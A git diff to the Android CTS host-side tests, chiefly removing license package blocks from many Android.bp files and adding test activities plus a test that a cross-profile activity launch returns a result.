diff --git a/hostsidetests/blobstore/Android.bp b/hostsidetests/blobstore/Android.bp
index cb27282..d699def 100644
--- a/hostsidetests/blobstore/Android.bp
+++ b/hostsidetests/blobstore/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsBlobStoreHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/bootstats/Android.bp b/hostsidetests/bootstats/Android.bp
index 4f2c13e..b894fcf 100644
--- a/hostsidetests/bootstats/Android.bp
+++ b/hostsidetests/bootstats/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsBootStatsTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/car/Android.bp b/hostsidetests/car/Android.bp
index 1df7b6d..91ef3a3 100644
--- a/hostsidetests/car/Android.bp
+++ b/hostsidetests/car/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsCarHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/classloaders/splits/Android.bp b/hostsidetests/classloaders/splits/Android.bp
index 1584e52..f19b5da 100644
--- a/hostsidetests/classloaders/splits/Android.bp
+++ b/hostsidetests/classloaders/splits/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsClassloaderSplitsHostTestCases",
defaults: [ "cts_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/Android.bp b/hostsidetests/classloaders/splits/apps/Android.bp
index 7e1f9ce..c0975ac 100644
--- a/hostsidetests/classloaders/splits/apps/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsClassloaderSplitApp",
defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/feature_a/Android.bp b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
index 8f96bda..7dd21cf 100644
--- a/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsClassloaderSplitAppFeatureA",
defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/feature_b/Android.bp b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
index aed8b69..84c1f53 100644
--- a/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsClassloaderSplitAppFeatureB",
defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/useslibrary/Android.bp b/hostsidetests/classloaders/useslibrary/Android.bp
index c9edd49..10c1986 100644
--- a/hostsidetests/classloaders/useslibrary/Android.bp
+++ b/hostsidetests/classloaders/useslibrary/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsUsesLibraryHostTestCases",
defaults: [ "cts_defaults" ],
diff --git a/hostsidetests/classloaders/useslibrary/app/Android.bp b/hostsidetests/classloaders/useslibrary/app/Android.bp
index 9c9af63..eedde6f 100644
--- a/hostsidetests/classloaders/useslibrary/app/Android.bp
+++ b/hostsidetests/classloaders/useslibrary/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUsesLibraryApp",
defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/compilation/Android.bp b/hostsidetests/compilation/Android.bp
index 6f4441f..636dfc8 100644
--- a/hostsidetests/compilation/Android.bp
+++ b/hostsidetests/compilation/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsCompilationTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/compilation/app/Android.bp b/hostsidetests/compilation/app/Android.bp
index debca31..d41b5bc 100644
--- a/hostsidetests/compilation/app/Android.bp
+++ b/hostsidetests/compilation/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCompilationApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/content/Android.bp b/hostsidetests/content/Android.bp
index f6adc2e..3cd3688 100644
--- a/hostsidetests/content/Android.bp
+++ b/hostsidetests/content/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsSyncContentHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
index 241c47d..dac2663 100644
--- a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
+++ b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsContextCrossProfileApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
index d9ed213..d63f6cd 100644
--- a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
+++ b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsContextCrossProfileTestServiceApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
index 43a2758..82c3696 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSyncInvalidAccountAuthorityTestCases",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/cpptools/Android.bp b/hostsidetests/cpptools/Android.bp
index 90bf3a7..23887e2 100644
--- a/hostsidetests/cpptools/Android.bp
+++ b/hostsidetests/cpptools/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsCppToolsTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
index 87507f4..8562d3a 100644
--- a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
+++ b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCppToolsApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
index 94ef244..8938068 100644
--- a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "connector",
srcs: ["connector.cpp"],
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
index b84ccfe..d4399f9 100644
--- a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDomainSocket",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/deviceidle/Android.bp b/hostsidetests/deviceidle/Android.bp
index 64713d1..d22db35 100644
--- a/hostsidetests/deviceidle/Android.bp
+++ b/hostsidetests/deviceidle/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsDeviceIdleHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index 447b447..537151f 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsDevicePolicyManagerTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
index 3970cfe..ef03e37 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccountCheckTestOnlyOwnerApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
index 98bf41f..e499709 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccountCheckAuthApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
index fb5a3b8..2e8697d 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccountCheckAuthAppTester",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
index 02017f6..25fb39c 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccountManagementDevicePolicyApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
index a98f261..98146ff 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppRestrictionsTargetApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.bp b/hostsidetests/devicepolicy/app/Assistant/Android.bp
index c6b32aa..0de1b25 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.bp
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePolicyAssistApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
index 9dd7e2f..27b4bb2 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePolicyAutofillApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
index cab9ca4..c124684 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCertInstallerApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
index 9bd0c7c..dc652cb 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsContactDirectoryProvider",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
index e9b08d8..e347131 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePolicyContentCaptureApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
index b21e99a..9636e4b 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePolicyContentCaptureService",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
index 5a3275c..ebdf983 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePolicyContentSuggestionsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
index c141c8e..6e8803d 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
@@ -18,10 +18,6 @@
// === App 1 ===
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCorpOwnedManagedProfile",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
index d2a0194..c3d1d5d 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCrossProfileAppsTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
index ae3ff05..474df01 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
@@ -53,7 +53,14 @@
</intent-filter>
</activity>
- <activity android:name=".CrossProfileSameTaskLauncherActivity" android:exported="true"/>
+ <activity android:name=".CrossProfileSameTaskLauncherActivity"
+ android:exported="true"/>
+
+ <activity android:name=".CrossProfileResultCheckerActivity"
+ android:exported="true"/>
+
+ <activity android:name=".CrossProfileResultReturnerActivity"
+ android:exported="true"/>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
new file mode 100644
index 0000000..5689f32
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <TextView
+ android:id="@+id/cross_profile_result_checker_result"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 6b41018..7332521 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -19,6 +19,8 @@
import static android.Manifest.permission.INTERACT_ACROSS_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static com.google.common.truth.Truth.assertThat;
+
import static junit.framework.Assert.assertNotNull;
import static org.junit.Assert.assertEquals;
@@ -276,6 +278,23 @@
}
}
+ @Test
+ public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+ try {
+ mContext.startActivity(new Intent()
+ .setComponent(CrossProfileResultCheckerActivity.buildComponentName(mContext))
+ .putExtra(CrossProfileResultCheckerActivity.TARGET_USER_EXTRA, mTargetUser));
+
+ final UiObject2 textView = mDevice.wait(
+ Until.findObject(
+ By.text(CrossProfileResultCheckerActivity.SUCCESS_MESSAGE)),
+ TIMEOUT_WAIT_UI);
+ assertThat(textView).isNotNull();
+ } catch (Exception e) {
+ fail("unable to start cross-profile activity to obtain a returned result: " + e);
+ }
+ }
+
/**
* Calls {@link CrossProfileApps#startActivity(Intent, UserHandle, Activity)}. This can then be
* used by host-side tests.
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
new file mode 100644
index 0000000..49f2d9b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+/**
+ * An activity that launches {@link CrossProfileResultReturnerActivity} for result, then displays
+ * the string {@link #SUCCESS_MESSAGE} if successful.
+ *
+ * <p>Must be launched with intent extra {@link #TARGET_USER_EXTRA} with the numeric target user ID.
+ */
+public class CrossProfileResultCheckerActivity extends Activity {
+ static final String SUCCESS_MESSAGE = "Successfully received cross-profile result.";
+ static final String TARGET_USER_EXTRA = "TARGET_USER";
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ if (!intent.hasExtra(TARGET_USER_EXTRA)) {
+ throw new IllegalStateException(
+ "CrossProfileResultCheckerActivity started without " + TARGET_USER_EXTRA);
+ }
+ setContentView(R.layout.cross_profile_result_checker);
+ final Intent resultReturnerIntent =
+ new Intent().setComponent(
+ CrossProfileResultReturnerActivity.buildComponentName(this));
+ final UserHandle targetUser = intent.getParcelableExtra(TARGET_USER_EXTRA);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ getSystemService(CrossProfileApps.class),
+ crossProfileApps -> crossProfileApps.startActivity(
+ resultReturnerIntent, targetUser, this));
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ if (resultCode != CrossProfileResultReturnerActivity.RESULT_CODE) {
+ throw new IllegalStateException("Unknown result code: " + resultCode);
+ }
+ final TextView textView = findViewById(R.id.cross_profile_result_checker_result);
+ textView.setText(SUCCESS_MESSAGE);
+ }
+
+ static ComponentName buildComponentName(Context context) {
+ return new ComponentName(context, CrossProfileResultCheckerActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
new file mode 100644
index 0000000..8898e91
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/** An activity that sets the result as {@link #RESULT_CODE} then finishes. */
+public class CrossProfileResultReturnerActivity extends Activity {
+ static final int RESULT_CODE = 998;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ setResult(RESULT_CODE);
+ finish();
+ }
+
+ static ComponentName buildComponentName(Context context) {
+ return new ComponentName(context, CrossProfileResultReturnerActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
index dfa5a8a..6f2d457 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCrossProfileAppsWithNoPermissionTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
index ab0e16a..4d56254 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCrossProfileEnabledApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
index a3189b4..8510ab8 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCrossProfileEnabledNoPermsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
index d7de8c6..380ddc1 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
@@ -12,10 +12,6 @@
